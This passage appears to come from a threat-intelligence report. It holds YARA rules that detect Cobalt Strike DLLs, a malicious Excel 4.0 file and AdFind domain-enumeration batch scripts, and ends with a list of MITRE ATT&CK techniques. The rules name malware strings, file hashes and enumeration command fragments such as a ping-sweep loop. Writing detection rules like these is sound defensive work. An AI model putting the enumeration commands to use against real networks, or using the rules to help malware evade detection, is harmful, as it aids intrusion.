$s15 = "Root Entry" fullword wide /* Goodware String - occured 46 times */
$s16 = "SummaryInformation" fullword wide /* Goodware String - occured 50 times */
$s17 = "A\",\"JJCCBB\"" fullword ascii
$s18 = "Excel 4.0" fullword ascii
$s19 = "Microsoft Print to PDF" fullword wide
$s20 = "\"_-;\\-* #,##0.00\\ \"" fullword wide /* Goodware String - occured 1 times */
condition:
uint16(0) == 0xcfd0 and filesize < 200KB and
all of them
}
rule cobalt_strike_14435_dll_1 {
meta:
description = "1.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b"
strings:
$s1 = "curity><requestedPrivileges><requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel></requeste" ascii
$s2 = "CDNS Project.dll" fullword ascii
$s3 = "hemas.microsoft.com/SMI/2005/WindowsSettings\">true</dpiAware></windowsSettings></application></assembly>" fullword ascii
$s4 = "Hostname to lookup:" fullword wide
$s5 = "Hostnames:" fullword wide
$s6 = "wOshV- D3\"RIcP@DN \\" fullword ascii
$s7 = "T4jk{zrvG#@KRO* d'z" fullword ascii
$s8 = "CDNS Project Version 1.0" fullword wide
$s9 = "zK$%S.cPO>rtW" fullword ascii
$s10 = "vOsh.HSDiXRI" fullword ascii
$s11 = "l4p.oZewOsh7zP" fullword ascii
$s12 = "5p2o.ewOsh7H" fullword ascii
$s13 = "h7H.DiX" fullword ascii
$s14 = "l4pWo.ewOsh[H%DiXRI" fullword ascii
$s15 = "rEWS).lpp~o" fullword ascii
$s16 = ",m}_lOG" fullword ascii
$s17 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii
$s18 = "vileges></security></trustInfo><application xmlns=\"urn:schemas-microsoft-com:asm.v3\"><windowsSettings><dpiAware xmlns=\"http:/" ascii
$s19 = "tn9- 2" fullword ascii
$s20 = "PDiXRI7" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 8000KB and
( pe.imphash() == "d1aef4e37a548a43a95d44bd2f8c0afc" or 8 of them )
}
rule cobalt_strike_14435_dll_2 {
meta:
description = "32.dll"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "76bfb4a73dc0d3f382d3877a83ce62b50828f713744659bb21c30569d368caf8"
strings:
$x1 = "mail glide drooping dismiss collation production mm refresh murderer start parade subscription accident retorted carter stalls r" ascii
$s2 = "vlu405yd87.dll" fullword ascii
$s3 = "XYVZSWWVU" fullword ascii /* base64 encoded string 'aVRYeT' */
$s4 = "ZYWVWSXVT" fullword ascii /* base64 encoded string 'aeVIuS' */
$s5 = "WXVZTVVUVX" fullword ascii /* base64 encoded string 'YuYMUTU' */
$s6 = "ZYXZXSWZW" fullword ascii /* base64 encoded string 'avWIfV' */
$s7 = "SZWVSZTVU" fullword ascii /* base64 encoded string 'eeRe5T' */
$s8 = "VXVWUWVZYY" fullword ascii /* base64 encoded string 'UuVQeYa' */
$s9 = "VSXZZYSVU" fullword ascii /* base64 encoded string 'IvYa%T' */
$s10 = "VXUZUVWVU" fullword ascii /* base64 encoded string ']FTUeT' */
$s11 = "SVVZZXZUVW" fullword ascii /* base64 encoded string 'IUYevTU' */
$s12 = "USVZVSWVZ" fullword ascii /* base64 encoded string 'IVUIeY' */
$s13 = "SWVVTVSVWWXZZVVV" fullword ascii /* base64 encoded string 'YUSU%VYvYUU' */
$s14 = "VSXVUXXZS" fullword ascii /* base64 encoded string 'IuT]vR' */
$s15 = "WSVZYWZWWW" fullword ascii /* base64 encoded string 'Y%YafVY' */
$s16 = "XUSZXXVVW" fullword ascii /* base64 encoded string 'Q&W]UV' */
$s17 = "ZWZWZVZWWWZ" fullword ascii /* base64 encoded string 'efVeVVYf' */
$s18 = "STZVYVVZYS" fullword ascii /* base64 encoded string 'I6UaUYa' */
$s19 = "ZWZWYSZXUZ" fullword ascii /* base64 encoded string 'efVa&WQ' */
$s20 = "SVVWWVVVWW" fullword ascii /* base64 encoded string 'IUVYUUY' */
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "4e03b8b675969416fb0d10e8ab11f7c2" or ( 1 of ($x*) or 12 of them ) )
}
rule find_bat_14335 {
meta:
description = "Find.bat using AdFind"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "5bc00ad792d4ddac7d8568f98a717caff9d5ef389ed355a15b892cc10ab2887b"
strings:
$x1 = "find.exe" nocase wide ascii
$s1 = "objectcategory" nocase wide ascii
$s2 = "person" nocase wide ascii
$s3 = "computer" nocase wide ascii
$s4 = "organizationalUnit" nocase wide ascii
$s5 = "trustdmp" nocase wide ascii
condition:
filesize < 1000
and 1 of ($x*)
and 4 of ($s*)
}
rule adfind_14335 {
meta:
description = "Find.bat using AdFind"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
hash1 = "b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682"
strings:
$x1 = "joeware.net" nocase wide ascii
$s1 = "xx.cpp" nocase wide ascii
$s2 = "xxtype.cpp" nocase wide ascii
$s3 = "Joe Richards" nocase wide ascii
$s4 = "RFC 2253" nocase wide ascii
$s5 = "RFC 2254" nocase wide ascii
condition:
uint16(0) == 0x5a4d and filesize < 2000KB
and 1 of ($x*)
or 4 of ($s*)
}
rule p_bat_14335 {
meta:
description = "Finding bat files that is used for enumeration"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2022-09-12"
strings:
$a1 = "for /f %%i in" nocase wide ascii
$a2 = "do ping %%i" nocase wide ascii
$a3 = "-n 1 >>" nocase wide ascii
$a4 = "res.txt" nocase wide ascii
condition:
filesize < 2000KB
and all of ($a*)
}
MITRE
Dynamic-link Library Injection - T1055.001 Component Object Model - T1559.001 PowerShell - T1059.001 Regsvr32 - T1218.010 Pass the Hash - T1550.002 Domain Groups - T1069.002 Domain Account - T1087.002 Domain Trust Discovery - T1482 Malicious File - T1204.002 SMB/Windows Admin Shares - T1021.002 Lateral Tool Transfer - T1570 Process Injection - T1055 Exfiltration to Cloud Storage - T1567.002 Thread Execution Hijacking - T1055.003 Remote System Discovery - T1018 System Information Discovery - T1082 Application Layer Protocol - T1071 Network Share Discovery - T1135 Kerberoasting - T1558.003 LSASS Memory - T1003.001 Registry Run Keys / Startup Folder - T1547.001 Phishing - T1566 Spearphishing Attachment - T1566.001
Internal case #14335